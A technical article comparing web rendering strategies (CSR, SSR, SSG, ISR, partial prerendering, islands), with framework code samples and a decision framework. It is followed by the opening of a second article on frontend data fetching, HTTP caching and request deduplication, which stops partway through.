Every page load is a sequence of decisions: where HTML is generated, when data is fetched, and how interactivity is attached. The four canonical rendering strategies — Client-Side Rendering (CSR), Server-Side Rendering (SSR), Static Site Generation (SSG), and Incremental Static Regeneration (ISR) — represent different trade-off points along axes of freshness, performance, cost, and complexity. Modern frameworks blur the boundaries further with per-route strategies, streaming, islands architecture, and Partial Prerendering (PPR). This article examines the mechanics, failure modes, and design reasoning behind each approach, then builds a decision framework for choosing between them.

<figure>

![The rendering spectrum: where and when HTML is produced. Modern approaches like PPR and islands combine multiple strategies within a single page.](./the-rendering-spectrum-where-and-when-html-is-produced-modern-approaches-like-pp.svg)

<figcaption>The rendering spectrum: where and when HTML is produced. Modern approaches like PPR and islands combine multiple strategies within a single page.</figcaption>
</figure>

## Abstract

Rendering strategies answer one question: **who generates the HTML, and when?**

- **CSR** ships a minimal HTML shell; the browser downloads JavaScript, fetches data, and builds the DOM. Fast Time to First Byte (TTFB), but First Contentful Paint (FCP) and Largest Contentful Paint (LCP) are blocked on JS execution. Ideal for authenticated, highly interactive applications where Search Engine Optimization (SEO) is irrelevant.
- **SSR** generates HTML on the server per request. FCP is fast (HTML arrives complete), but TTFB depends on server compute time. Streaming SSR (React 18's `renderToPipeableStream`) sends HTML in chunks, improving perceived performance. The hydration cost — re-executing component logic client-side to attach event handlers — is the central performance concern.
- **SSG** renders all pages at build time and deploys static files to a Content Delivery Network (CDN). Fastest TTFB and FCP of any strategy, but content is frozen until the next build. Build time scales linearly with page count, creating a practical ceiling.
- **ISR** applies stale-while-revalidate semantics to static pages: serve the cached version, trigger background regeneration after a configurable interval. It solves SSG's staleness without SSR's per-request compute, but introduces stale data windows and region-specific cache coherence challenges.

The real insight: modern production architectures rarely use a single strategy. Next.js App Router, Nuxt 3, and SvelteKit support per-route rendering selection. React Server Components (RSC), Partial Prerendering, and islands architecture (Astro, Fresh) compose static and dynamic rendering within a single page. The decision is no longer "which strategy" but "which strategy for which part of which page."

## The Rendering Timeline

Before comparing strategies, establish the sequence of events a browser performs on every navigation. Each rendering strategy optimizes different segments of this timeline.

| Event | What Happens | Key Metric |
| --- | --- | --- |
| DNS + TCP + TLS | Connection setup | — |
| First byte arrives | Server responds with initial data | TTFB |
| First paint | Browser renders first pixels (background, nav shell) | FCP |
| Largest element visible | Hero image, main heading, or primary content block renders | LCP |
| Page becomes interactive | Event handlers attached, input responsive | Time to Interactive (TTI) |
| Layout stabilizes | No more unexpected shifts | Cumulative Layout Shift (CLS) |

TTFB is a server-side concern. FCP and LCP depend on what the initial HTML contains. TTI depends on how much JavaScript must execute before the page responds to input. CLS depends on whether the rendered layout matches the final layout.

Each rendering strategy makes different bets on which metrics to prioritize.

## Client-Side Rendering

CSR defers all rendering to the browser. The server returns a minimal HTML document — typically an empty `<div id="root"></div>` — and one or more JavaScript bundles. The browser downloads and executes the JS, which fetches data from APIs and constructs the DOM.

### Mechanics

1. Browser receives a ~1 KB HTML shell with `<script>` tags
2. JS bundles download (often 200-500 KB gzipped for a production Single-Page Application (SPA))
3. Framework initializes, router resolves the current URL
4. Data fetching begins (API calls to backend services)
5. Components render into the DOM
6. Page becomes interactive

Steps 2-5 happen sequentially. The user sees a blank screen (or a loading spinner) until step 5 completes.

### Performance Characteristics

| Metric | CSR Impact | Why |
| --- | --- | --- |
| TTFB | Excellent (< 50ms) | Static HTML shell served from CDN |
| FCP | Poor (1-3s typical) | Blocked on JS download + parse + execute |
| LCP | Poor (2-5s typical) | Blocked on JS + API response + render |
| TTI | Poor to moderate | Same JS that renders also attaches handlers |
| CLS | Risk of high | Layout shifts when data arrives after initial render |

### The JS Bundle Problem

CSR performance is dominated by JavaScript payload size. Every dependency added to the bundle delays FCP linearly. Code splitting mitigates this: frameworks like React (via `React.lazy` and dynamic `import()`) and Vue (via async components) split the bundle by route, so only the code for the current page downloads initially.

```ts title="route-based-splitting.tsx" collapse={1-3, 11-20}
import { lazy, Suspense } from 'react';
import { Routes, Route } from 'react-router-dom';

// Each route loads its own chunk — only the active route's JS downloads
const Dashboard = lazy(() => import('./pages/Dashboard'));
const Settings = lazy(() => import('./pages/Settings'));

function App() {
  return (
    <Suspense fallback={<Skeleton />}>
      <Routes>
        <Route path="/dashboard" element={<Dashboard />} />
        <Route path="/settings" element={<Settings />} />
      </Routes>
    </Suspense>
  );
}
```

Even with splitting, the framework runtime itself (React ~45 KB, Vue ~33 KB, Angular ~130 KB gzipped) must download before anything renders.

### SEO Limitations

Googlebot executes JavaScript, but with caveats:

- **Two-phase indexing**: Google crawls HTML first, then queues pages for JS rendering in a separate "wave." The delay between waves can be hours to days.
- **Render budget**: Google allocates finite compute to render JS. Complex SPAs with heavy client-side logic may not render fully.
- **Other crawlers**: Bing, social media previets (Open Graph), and most bots do not execute JavaScript at all.

Workarounds exist — dynamic rendering (serving pre-rendered HTML to bots), prerendering services (Prerender.io, Rendertron) — but they add operational complexity and create divergence between what users and crawlers see.

### When CSR is the Right Choice

- **Authenticated applications**: Dashboards, admin panels, internal tools where SEO is irrelevant and every page requires user-specific data
- **Highly interactive UIs**: Real-time collaboration tools, design editors, trading terminals where the application is essentially a desktop app in a browser
- **Offline-capable PWAs**: Applications using Service Workers where the shell must cache independently of content

### When CSR Fails

- **Content-heavy sites** needing SEO (blogs, e-commerce, marketing pages)
- **Low-powered devices**: Phones with limited CPU budget stall on large JS bundles
- **Poor networks**: 3G connections turn a 500 KB bundle into a 10+ second blank screen

## Server-Side Rendering

SSR generates complete HTML on the server for each request. The browser receives a fully-formed page, renders it immediately, then "hydrates" it with JavaScript to make it interactive.

### Traditional SSR (Blocking)

In the traditional model, the server executes all component logic, resolves all data dependencies, and sends a complete HTML string. React's `renderToString()` and Vue's `renderToString()` follow this pattern.

The problem: `renderToString` is synchronous and blocking. If a component needs to fetch data from a database or API, the entire response waits. A single slow data source blocks the entire page.

```ts title="traditional-ssr.ts" collapse={1-4, 14-18}
import express from 'express';
import { renderToString } from 'react-dom/server';
import App from './App';

app.get('*', async (req, res) => {
  // All data must resolve before any HTML is sent
  const data = await fetchAllPageData(req.url); // Blocks here
  const html = renderToString(<App data={data} />);
  res.send(`
    <!DOCTYPE html>
    <html><body>
      <div id="root">${html}</div>
      <script src="/bundle.js"></script>
    </body></html>
  `);
});
```

### Streaming SSR

React 18 introduced `renderToPipeableStream` (Node.js) and `renderToReadableStream` (Web Streams API), fundamentally changing the SSR model. Instead of waiting for all data, the server streams HTML as components resolve.

Combined with `<Suspense>` boundaries, streaming SSR sends the static shell immediately, then streams in dynamic sections as their data arrives:

1. Server sends `<html>`, `<head>`, navigation, and static content immediately
2. Dynamic sections render a fallback (e.g., skeleton) wrapped in a Suspense boundary
3. As each data dependency resolves, the server streams the completed HTML with an inline `<script>` that swaps the fallback

```ts title="streaming-ssr.ts" collapse={1-5}
import { renderToPipeableStream } from 'react-dom/server';
import App from './App';

app.get('*', (req, res) => {
  const { pipe } = renderToPipeableStream(<App url={req.url} />, {
    // Shell is sent immediately — includes everything outside Suspense boundaries
    bootstrapScripts: ['/bundle.js'],
    onShellReady() {
      res.statusCode = 200;
      res.setHeader('Content-Type', 'text/html');
      pipe(res); // Starts streaming; Suspense fallbacks stream in as data resolves
    },
    onError(err) {
      console.error(err);
      res.statusCode = 500;
      res.end('Server error');
    },
  });
});
```

This approach decouples TTFB from the slowest data source. The browser can begin parsing and rendering the shell while dynamic content streams in.

> **Prior to React 18:** SSR was synchronous (`renderToString`). The entire page had to resolve before any HTML was sent. This made TTFB directly proportional to the slowest data dependency. Streaming SSR was available via `renderToNodeStream` (React 16), but without Suspense integration, it couldn't handle async data boundaries.

### The Hydration Problem

After the browser receives server-rendered HTML and displays it, the page looks complete but is inert — clicks, form inputs, and other interactions do nothing. Hydration is the process of re-executing component logic client-side to attach event handlers and reconcile the server-rendered DOM with the client-side component tree.

**Full hydration** (React's `hydrateRoot`) walks the entire component tree, executing every component function, re-running hooks, and attaching event listeners. The browser already has the correct DOM, so React doesn't create new elements — it "adopts" the existing ones. But the CPU cost of executing all component logic remains.

For a complex page with hundreds of components, hydration can take 500ms-2s on mobile devices. During this time, the page is visible but non-interactive — a problem known as the "uncanny valley."

**Selective hydration** (React 18) uses Suspense boundaries to hydrate sections independently. If a user clicks a section that hasn't hydrated yet, React prioritizes hydrating that section. This doesn't reduce total hydration work, but it prioritizes the parts the user cares about.

### Edge SSR

Running SSR at the edge (Cloudflare Workers, Vercel Edge Functions, Deno Deploy) reduces TTFB by generating HTML geographically close to the user. The trade-off: edge runtimes have constrained execution environments (no Node.js APIs, limited CPU time, restricted memory) and cannot access backend databases directly — they typically call origin APIs, which may negate the latency benefit.

Edge SSR works well when:
- The page depends only on request data (cookies, headers, URL params) and cached API responses
- The rendering logic is lightweight (no heavy computation)
- The origin API is fast or the data can be cached at the edge

Edge SSR struggles when:
- Pages need database queries (the edge-to-origin round trip can exceed the edge TTFB savings)
- Rendering is CPU-intensive (edge workers typically have 10-50ms CPU limits)

### Performance Characteristics

| Metric | SSR Impact | Why |
| --- | --- | --- |
| TTFB | Moderate (100-500ms) | Server must generate HTML; streaming mitigates |
| FCP | Good (fast after TTFB) | Complete HTML arrives; browser renders immediately |
| LCP | Good | Content is in the initial HTML |
| TTI | Moderate to poor | Hydration blocks interactivity |
| CLS | Low | Server-rendered layout matches final layout |

### Cost Model

SSR has per-request compute cost. A page that receives 1M requests/day needs a server (or serverless function) executing rendering logic 1M times. Caching SSR output (with `Cache-Control` or CDN caching) converts SSR into de-facto SSG for cacheable responses, but invalidation becomes the new challenge.

## Static Site Generation

SSG renders every page at build time. The output is plain HTML, CSS, and JavaScript files deployed to a CDN. No server-side computation happens at request time.

### Mechanics

1. At build time, the framework fetches all data (from CMS, database, APIs, filesystem)
2. Every page is rendered to a complete HTML file
3. The output directory is deployed to a CDN
4. Every request is served directly from the CDN edge — no origin computation

### Performance Characteristics

| Metric | SSG Impact | Why |
| --- | --- | --- |
| TTFB | Excellent (< 50ms) | CDN edge response, no compute |
| FCP | Excellent | Complete HTML served immediately |
| LCP | Excellent | Content in initial HTML, CDN-delivered |
| TTI | Depends on JS payload | Hydration still required for interactive components |
| CLS | Minimal | Layout determined at build time |

SSG delivers the best Core Web Vitals of any rendering strategy for content that doesn't change between requests.

### The Build Time Ceiling

Build time scales linearly with page count. A 10-page marketing site builds in seconds. A 100,000-page e-commerce catalog takes minutes to hours, depending on data fetching and rendering complexity.

Real-world examples:
- A documentation site with 5,000 pages: 2-5 minute builds
- An e-commerce site with 100,000 product pages: 30-60+ minute builds
- A news site rebuilding on every article update: builds become the bottleneck

This creates operational problems: deploy frequency is limited by build time, and content updates have high latency (change content → trigger build → wait → deploy).

### Deferred Static Generation

Several frameworks address the build time problem by generating only popular pages at build time and deferring the rest to the first request:

- **Next.js**: `dynamicParams: true` (App Router) or `fallback: true` / `fallback: 'blocking'` (Pages Router) generates pages on-demand
- **Astro**: All pages are built at build time by default; deferred generation isn't the primary model
- **Netlify DPR (Distributed Persistent Rendering)**: Build critical pages, generate the rest on first request, cache permanently

The first visitor to a deferred page experiences SSR-like latency. All subsequent visitors get CDN-cached static response.

### When SSG Fails

- **Personalized content**: User-specific data (recommendations, dashboards) can't be pre-rendered
- **High-frequency updates**: Content that changes every minute makes SSG impractical — rebuilds can't keep up
- **Large catalogs with frequent changes**: 100K pages where 1% change daily means rebuilding 1,000 pages per day at minimum
- **Real-time data**: Stock prices, live scores, inventory counts require request-time data

## Incremental Static Regeneration

ISR, introduced by Next.js, applies stale-while-revalidate (SWR) semantics to static pages. Pages are generated at build time (like SSG), but individual pages can be regenerated in the background after a configurable time interval.

### Mechanics

1. Page is pre-rendered at build time (like SSG)
2. A `revalidate` interval is set (e.g., 60 seconds)
3. Requests within the interval are served from cache (static response)
4. The first request after the interval triggers background regeneration
5. The requesting visitor still receives the stale page
6. Subsequent visitors get the freshly generated page

```ts title="isr-config.ts" collapse={1-2, 10-12}
// Next.js App Router — page.tsx
import { db } from '@/lib/db';

// This page is statically generated with a 60-second revalidation window
export const revalidate = 60;

export default async function ProductPage({ params }: { params: { id: string } }) {
  const product = await db.product.findUnique({ where: { id: params.id } });
  return <ProductDetail product={product} />;
}
```

### On-Demand Revalidation

Time-based ISR has an inherent staleness window: content can be up to `revalidate` seconds old. On-demand revalidation (introduced in Next.js 12.2) allows programmatic cache invalidation via API:

```ts title="on-demand-revalidation.ts" collapse={1-3}
// Next.js App Router — API route or Server Action
import { revalidatePath, revalidateTag } from 'next/cache';

// Revalidate a specific page
revalidatePath('/products/42');

// Revalidate all pages using a specific data tag
revalidateTag('products');
```

With on-demand ISR, the CMS webhook fires on content update → calls the revalidation API → the page regenerates immediately. Staleness drops from the `revalidate` interval to the time it takes to regenerate the page (typically < 1s).

### ISR vs. CDN Cache Invalidation

ISR is conceptually similar to CDN cache invalidation with `stale-while-revalidate`, but differs in critical ways:

| Aspect | ISR | CDN Cache + SWR |
| --- | --- | --- |
| What is cached | Pre-rendered HTML page | Any HTTP response |
| Who generates fresh content | Next.js server (re-executes page component) | Origin server (any backend) |
| Invalidation granularity | Per-page or per-tag | Per-URL or per-cache-tag |
| Cache coherence | Single-region regeneration, then CDN propagation | Depends on CDN (purge-all or targeted) |
| Framework coupling | Next.js specific | Framework-agnostic |

### Limitations

- **Stale data window**: With time-based ISR, the first visitor after expiry always gets stale content. On-demand ISR reduces but doesn't eliminate this — regeneration takes time.
- **Single-region regeneration**: In multi-region deployments, regeneration happens on one server. Other regions serve stale content until CDN cache propagates. This can mean 30-60 seconds of cross-region staleness.
- **No partial page regeneration**: ISR regenerates the entire page. If only a sidebar widget's data changes, the whole page rebuilds.
- **Framework lock-in**: ISR is a Next.js concept. Other frameworks implement similar patterns differently (Nuxt's `routeRules` with SWR, SvelteKit's `config.isr`).

### Performance Characteristics

| Metric | ISR Impact | Why |
| --- | --- | --- |
| TTFB | Excellent (CDN hit) or moderate (cache miss) | Cached pages served from edge; misses hit origin |
| FCP | Excellent (cache hit) | Same as SSG when served from cache |
| LCP | Excellent (cache hit) | Pre-rendered HTML with content |
| TTI | Depends on JS payload | Same hydration cost as SSG |
| CLS | Minimal | Static HTML, stable layout |

## Hybrid and Modern Approaches

The four canonical strategies are now building blocks, not exclusive choices. Modern frameworks compose them at the route level or even within a single page.

### Per-Route Rendering (Next.js App Router, Nuxt 3, SvelteKit)

Next.js 13+ (App Router) determines rendering strategy per route segment:

- **Static by default**: Routes with no dynamic data are automatically SSG
- **Dynamic when needed**: Using `cookies()`, `headers()`, `searchParams`, or `noStore()` opts a route into SSR
- **ISR via `revalidate`**: Setting `export const revalidate = N` enables time-based ISR

This means a single application can have static marketing pages, ISR product listings, and fully dynamic user dashboards — each using the optimal strategy.

Nuxt 3 offers similar granularity via `routeRules` in `nuxt.config.ts`:

```ts title="nuxt-route-rules.ts" collapse={1-2}
// nuxt.config.ts
export default defineNuxtConfig({
  routeRules: {
    '/': { prerender: true },               // SSG
    '/products/**': { swr: 3600 },           // ISR (1-hour revalidation)
    '/dashboard/**': { ssr: true },          // SSR per request
    '/api/**': { cors: true, swr: false },   // No caching
  },
});
```

### React Server Components

React Server Components (RSC), stable in Next.js 13+ App Router, introduce a component-level rendering boundary. Server Components execute only on the server — their code never ships to the browser.

**Key design decisions:**

- **Why server-only execution**: Eliminates JS bundle cost for components that don't need interactivity. A complex data-fetching component with heavy dependencies (date formatting, markdown parsing, database clients) contributes zero bytes to the client bundle.
- **What it optimizes**: Bundle size, data fetching latency (server-side data access is faster than client-side API calls), and security (sensitive logic stays on the server).
- **What it sacrifices**: Server Components cannot use `useState`, `useEffect`, event handlers, or browser APIs. Interactive portions must be Client Components (marked with `'use client'`).

RSC changes the rendering model from "render everything, hydrate everything" to "render data components on the server, only ship interactive components to the client."

> **Prior to RSC (React pre-18):** The entire component tree was shipped to the client as JavaScript, even components that only fetched and displayed data. This meant a product listing component that simply queried a database and rendered a table still contributed its full code — including all dependencies — to the client bundle.

### Partial Prerendering

Partial Prerendering (PPR), introduced experimentally in Next.js 14 and progressing in Next.js 15, combines SSG and SSR within a single page:

1. The static shell (header, footer, layout, static content) is pre-rendered at build time
2. Dynamic "holes" (user-specific content, real-time data) are marked with Suspense boundaries
3. At request time, the static shell is served instantly from the CDN
4. Dynamic holes stream in from the server as their data resolves

This eliminates the binary choice between static and dynamic. A product page can have a static product description (SSG) with a dynamic price, inventory count, and personalized recommendations (SSR streaming) — all in a single HTTP response.

```tsx title="ppr-page.tsx" collapse={1-4, 18-21}
import { Suspense } from 'react';
import { ProductInfo } from './ProductInfo';  // Static — pre-rendered at build
import { DynamicPrice } from './DynamicPrice'; // Dynamic — streams at request time
import { Recommendations } from './Recommendations';

export default function ProductPage({ params }: { params: { id: string } }) {
  return (
    <main>
      {/* Static shell — served from CDN */}
      <ProductInfo id={params.id} />

      {/* Dynamic holes — stream from server */}
      <Suspense fallback={<PriceSkeleton />}>
        <DynamicPrice id={params.id} />
      </Suspense>
      <Suspense fallback={<RecommendationsSkeleton />}>
        <Recommendations id={params.id} />
      </Suspense>
    </main>
  );
}
```

PPR's design reasoning: the static portions of most pages vastly outweigh the dynamic portions. By pre-rendering the majority and streaming the minority, PPR achieves SSG-like TTFB with SSR-like freshness for the parts that need it.

### Islands Architecture

Islands architecture, pioneered by Astro and implemented in Fresh (Deno), takes a different approach: the page is static HTML by default, and interactive components ("islands") are explicitly opted into client-side JavaScript.

**Key difference from React/Next.js**: In the React model, everything is a component that hydrates. You opt out of interactivity with Server Components. In the islands model, nothing hydrates by default. You opt into interactivity per component.

```astro title="astro-island.astro"
---
// This runs at build time only — no JS shipped
import StaticHeader from '../components/StaticHeader.astro';
import InteractiveSearch from '../components/InteractiveSearch.tsx';
---

<!-- Static HTML — zero JS -->
<StaticHeader />

<!-- Interactive island — only this component's JS ships to the browser -->
<InteractiveSearch client:visible />
```

Astro's `client:*` directives control when an island hydrates:
- `client:load` — hydrate immediately on page load
- `client:idle` — hydrate when the browser is idle (`requestIdleCallback`)
- `client:visible` — hydrate when the component enters the viewport (Intersection Observer)
- `client:media="(max-width: 768px)"` — hydrate when a media query matches

This granularity means a content-heavy page with one search widget ships only the search widget's JavaScript — not an entire framework runtime for hydrating a static header and footer.

### Edge-First Rendering

Edge computing platforms (Cloudflare Workers, Deno Deploy, Vercel Edge Runtime) shift rendering to CDN nodes closest to the user. The design reasoning: even with fast SSR, a 200ms round trip to a centralized origin server limits TTFB. Edge rendering reduces this to 10-30ms.

Constraints of edge environments:
- **Limited runtime**: No full Node.js — Web Standards APIs only (Fetch, Streams, Web Crypto)
- **CPU limits**: Typically 10-50ms CPU time per request (Cloudflare Workers default: 10ms on free plan, 30ms paid)
- **No persistent connections**: No long-lived database connections; use HTTP APIs or connection poolers
- **Cold starts**: Cloudflare Workers: < 5ms (V8 isolates). Lambda@Edge: 50-200ms.

Edge rendering is optimal for personalization based on request data (geolocation, cookies, A/B testing) combined with cached content.

## Decision Framework

No single rendering strategy is universally optimal. The choice depends on five factors:

### Factor Matrix

| Factor | CSR | SSR | SSG | ISR | PPR |
| --- | --- | --- | --- | --- | --- |
| **Content freshness** | Real-time | Real-time | Build-time | Near real-time | Real-time (dynamic holes) |
| **SEO** | Poor | Excellent | Excellent | Excellent | Excellent |
| **TTFB** | Excellent | Moderate | Excellent | Excellent (cache hit) | Excellent |
| **LCP** | Poor | Good | Excellent | Excellent (cache hit) | Excellent |
| **Server cost** | None (static host) | Per-request compute | Build-time only | Occasional revalidation | Static + streaming |
| **Personalization** | Full | Full | None | None (page-level) | Dynamic holes only |
| **Scaling** | CDN | Horizontal scaling | CDN | CDN + origin | CDN + origin (minimal) |
| **Complexity** | Low | Moderate | Low | Moderate | High |

### Decision by Use Case

**Marketing / content site** (blog, docs, landing pages):
→ **SSG** or **SSG + islands** (Astro). Content is known at build time, SEO is critical, interactivity is minimal. Build times are manageable for hundreds to low thousands of pages.

**E-commerce** (product catalog, search, checkout):
→ **ISR** for product pages (content changes infrequently but catalog is large), **SSR** for search results and checkout (personalized, real-time inventory), or **PPR** to combine static product info with dynamic pricing.

**SaaS dashboard** (analytics, admin panels):
→ **CSR** or **SSR**. Every page is personalized and requires authentication. SSR improves perceived performance; CSR is simpler if SEO doesn't matter.

**News / media site** (breaking news, frequently updated):
→ **ISR with on-demand revalidation** or **SSR with CDN caching**. Content changes frequently, SEO is critical, stale-while-revalidate keeps TTFB low while maintaining freshness.

**Hybrid application** (public pages + authenticated sections):
→ **Per-route strategy**. Static marketing pages (SSG), ISR for catalog, SSR for authenticated routes. Next.js App Router, Nuxt 3, and SvelteKit all support this pattern natively.

## Conclusion

The rendering strategy landscape has evolved from a binary choice (server vs. client) to a composable spectrum. The four canonical approaches — CSR, SSR, SSG, ISR — remain the foundational mental model, but production architectures increasingly compose them:

- **Per-route**: Different strategies for different URL patterns within one application
- **Per-component**: Server Components keep data-fetching logic off the client; Client Components provide interactivity
- **Per-section**: PPR and islands pre-render the static majority and stream or hydrate the dynamic minority

The practical decision framework is straightforward: start with the simplest strategy that meets your freshness, SEO, and performance requirements. Use SSG for anything that can be built ahead of time. Layer in ISR for content that changes periodically. Reserve SSR for truly dynamic, personalized responses. Apply CSR only for sections that need full client-side interactivity.

Avoid over-engineering the initial choice. Migration between strategies within modern frameworks is often a configuration change (adding `revalidate` to convert SSG to ISR, or wrapping a section in `<Suspense>` to enable streaming). The cost of starting simple and upgrading is almost always lower than the cost of premature complexity.

## Appendix

### Prerequisites

- HTTP caching model (`Cache-Control`, `stale-while-revalidate`)
- Browser rendering pipeline (parsing, layout, paint, compositing)
- Core Web Vitals (TTFB, FCP, LCP, TTI, CLS)
- React component model (for RSC and hydration sections)
- CDN architecture (edge nodes, origin server, cache purge)

### Terminology

| Term | Definition |
| --- | --- |
| **CSR** | Client-Side Rendering — browser downloads JS and constructs the DOM |
| **SSR** | Server-Side Rendering — server generates HTML per request |
| **SSG** | Static Site Generation — all pages rendered at build time |
| **ISR** | Incremental Static Regeneration — static pages with background revalidation |
| **PPR** | Partial Prerendering — static shell with streaming dynamic holes |
| **RSC** | React Server Components — components that execute only on the server |
| **Hydration** | Process of attaching event handlers and state to server-rendered HTML |
| **TTFB** | Time to First Byte — time from request to first byte of response |
| **FCP** | First Contentful Paint — time to first visible content |
| **LCP** | Largest Contentful Paint — time to largest visible element |
| **TTI** | Time to Interactive — time until page responds to input |
| **CLS** | Cumulative Layout Shift — measure of visual stability |
| **SWR** | Stale-While-Revalidate — caching pattern that serves stale data while refreshing |
| **DPR** | Distributed Persistent Rendering — Netlify's approach to deferred static generation |

### Summary

- **CSR** ships a JS-only shell; fast TTFB but poor FCP/LCP. Best for authenticated, interactive applications where SEO doesn't matter.
- **SSR** generates HTML per request; fast FCP but TTFB depends on server compute. Streaming SSR (React 18+) decouples TTFB from the slowest data source.
- **SSG** pre-renders at build time; best Core Web Vitals but content is frozen. Build time scales linearly with page count.
- **ISR** adds stale-while-revalidate semantics to SSG; near-real-time freshness without per-request cost. On-demand revalidation minimizes staleness.
- **Modern approaches** (PPR, islands, RSC) compose strategies within a single page, eliminating the binary choice between static and dynamic.
- **Start simple**: Use the least complex strategy that meets freshness and SEO needs. Migration between strategies is inexpensive in modern frameworks.

### References

- [HTML Living Standard — Parsing](https://html.spec.whatwg.org/multipage/parsing.html) — How browsers parse and render HTML documents
- [React 18 — renderToPipeableStream API](https://react.dev/reference/react-dom/server/renderToPipeableStream) — Streaming SSR API documentation
- [React — Server Components](https://react.dev/reference/rsc/server-components) — React Server Components specification and usage
- [Next.js — Rendering](https://nextjs.org/docs/app/building-your-application/rendering) — Per-route rendering strategies in App Router
- [Next.js — Incremental Static Regeneration](https://nextjs.org/docs/app/building-your-application/data-fetching/incremental-static-regeneration) — ISR mechanics and on-demand revalidation
- [Next.js — Partial Prerendering](https://nextjs.org/docs/app/building-your-application/rendering/partial-prerendering) — PPR architecture and usage
- [Astro — Islands Architecture](https://docs.astro.build/en/concepts/islands/) — Islands architecture and client directives
- [web.dev — Rendering on the Web](https://web.dev/articles/rendering-on-the-web) — Google's overview of rendering patterns and their performance characteristics
- [web.dev — Core Web Vitals](https://web.dev/articles/vitals) — Metrics definitions and measurement methodology
- [Nuxt 3 — Route Rules](https://nuxt.com/docs/guide/concepts/rendering#route-rules) — Nuxt's per-route rendering configuration
- [Vercel — Understanding SSR, SSG, ISR and RSC](https://vercel.com/blog/understanding-react-server-components) — Vercel's explanation of modern rendering approaches
- [Patterns.dev — Rendering Patterns](https://www.patterns.dev/react/rendering-patterns/) — Comprehensive catalog of rendering patterns with visual explanations

---

## Frontend Data Fetching Patterns and Caching

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/frontend-engineering/frontend-architecture-patterns/data-fetching-patterns
**Category:** Frontend Engineering / Frontend Architecture & Patterns
**Description:** Patterns for fetching, caching, and synchronizing server state in frontend applications. Covers request deduplication, cache invalidation strategies, stale-while-revalidate mechanics, and library implementations.

# Frontend Data Fetching Patterns and Caching

Patterns for fetching, caching, and synchronizing server state in frontend applications. Covers request deduplication, cache invalidation strategies, stale-while-revalidate mechanics, and library implementations.

<figure>

![Data fetching lifecycle from request to cache management, showing deduplication, validation, and garbage collection states](./data-fetching-lifecycle-from-request-to-cache-management-showing-deduplication-v.svg)

<figcaption>Data fetching lifecycle from request to cache management, showing deduplication, validation, and garbage collection states</figcaption>

</figure>

## Abstract

Frontend data fetching reduces to managing three tensions: **freshness vs latency** (serve stale data immediately or wait for network?), **correctness vs complexity** (normalize cache for consistency or accept duplication?), and **memory vs performance** (cache everything or evict aggressively?).

The core patterns:

- **Request deduplication**: Multiple components requesting the same data share one in-flight promise—prevents duplicate network calls and ensures consistency
- **Stale-while-revalidate**: Return cached data instantly, revalidate in background—users see content immediately, fresh data arrives silently
- **Cache normalization**: Store entities once by ID, reference everywhere—mutations update all views automatically, but adds complexity
- **Cache invalidation**: Tag-based or key-based invalidation after mutations—the hardest problem, usually solved by refetching
- **Garbage collection**: Inactive queries evicted after configurable timeout—prevents memory leaks without manual cleanup

Libraries differ in their defaults: TanStack Query uses `staleTime: 0` (always stale, always revalidate), SWR deduplicates within 1 second, Apollo normalizes by `__typename:id`, RTK Query uses tag-based invalidation without normalization.

## HTTP Caching Fundamentals

Understanding HTTP caching is foundational—application-level caching builds on top of (or bypasses) browser cache behavior defined in RFC 9111.

### Cache-Control Semantics

The `Cache-Control` header governs how browsers and intermediaries cache responses. Key directives from RFC 9111:

| Directive                  | Meaning                        | Use Case                                    |
| -------------------------- | ------------------------------ | ------------------------------------------- |
| `max-age=N`                | Response fresh for N seconds   | Static assets, API responses with known TTL |
| `no-cache`                 | Must revalidate before use     | Dynamic content that might change           |
| `no-store`                 | Never cache                    | Sensitive data, user-specific responses     |
| `private`                  | Only browser can cache         | User-specific data (not CDN-cacheable)      |
| `public`                   | Any cache can store            | Static assets, public API responses         |
| `s-maxage=N`               | Shared cache (CDN) TTL         | Different TTL for edge vs browser           |
| `stale-while-revalidate=N` | Serve stale while revalidating | RFC 5861 extension for async refresh        |

> **RFC 9111 replaced RFC 7234 in June 2022** with clarifications but no breaking changes. The stale-while-revalidate extension remains defined in RFC 5861.

### Conditional Requests and Validation

When cached content is stale, browsers send conditional requests to check if the cached version is still valid:

```
Client: GET /api/users/123
        If-None-Match: "abc123"

Server: 304 Not Modified
        (no body, use cached version)

-- or --

Server: 200 OK
        ETag: "def456"
        (new body, update cache)
```

**Validator types:**

- **Strong ETag** (`"abc123"`): Byte-for-byte identical. Required for range requests.
- **Weak ETag** (`W/"abc123"`): Semantically equivalent. Allows minor variations (whitespace, formatting).
- **Last-Modified**: Timestamp-based. Less precise, 1-second resolution.

**Design rationale**: ETags exist because Last-Modified has 1-second resolution—multiple changes within a second produce identical timestamps. ETags use content hashes or version numbers for exact change detection.

### Stale-While-Revalidate in HTTP

RFC 5861 defines the `stale-while-revalidate` Cache-Control extension:

```
Cache-Control: max-age=600, stale-while-revalidate=30
```

This means:

1. Response is fresh for 600 seconds
2. After 600s, serve stale content while revalidating in background
3. Stale serving allowed for up to 30 additional seconds
4. After 630s total, must wait for revalidation

**Why this matters**: The browser handles background revalidation automatically—no JavaScript required. However, application-level SWR (SWR library, TanStack Query) provides finer control and works with any response, not just those with proper headers.

## Request Deduplication

Request deduplication ensures multiple components requesting the same data produce exactly one network request. Without it, a page with 5 components using `useUser(123)` would fire 5 identical API calls.

### The Promise Memoization Pattern

The core pattern is simple: store the in-flight promise, return it to all callers:

```ts title="deduplication-pattern.ts" collapse={1-4, 20-25}
// Promise cache for in-flight requests
const inflightRequests = new Map<string, Promise<unknown>>()

// Deduplicated fetch function
async function fetchWithDeduplication<T>(key: string, fetcher: () => Promise<T>): Promise<T> {
  // Return existing promise if request in flight
  const existing = inflightRequests.get(key)
  if (existing) return existing as Promise<T>

  // Create new request and cache the promise
  const promise = fetcher().finally(() => {
    inflightRequests.delete(key) // Clean up after settlement
  })

  inflightRequests.set(key, promise)
  return promise
}
```

**Key insight**: The promise itself is cached, not the response. All callers await the same promise, so they all receive the result when it resolves—whether success or failure.

### Library Implementations

**TanStack Query (React Query v5)**:

- Deduplication is automatic and always-on for identical query keys
- Multiple hooks with the same key share one underlying promise
- No configurable deduplication window—requests dedupe while in-flight
- Option merging takes "most pessimistic" values when multiple components use different options (e.g., lowest `staleTime`)

**SWR (Vercel)**:

- Default 1-second deduplication window via `dedupingInterval`
- Requests within the window share the same promise
- Window is configurable per-hook or globally
- Focused on "eventual consistency" over strict deduplication

```ts title="swr-config.ts"
// SWR global configuration
<SWRConfig value={{ dedupingInterval: 2000 }}>
  {/* Requests within 2 seconds share the same promise */}
</SWRConfig>
```

**Apollo Client**:

- Request deduplication at the transport layer (HttpLink)
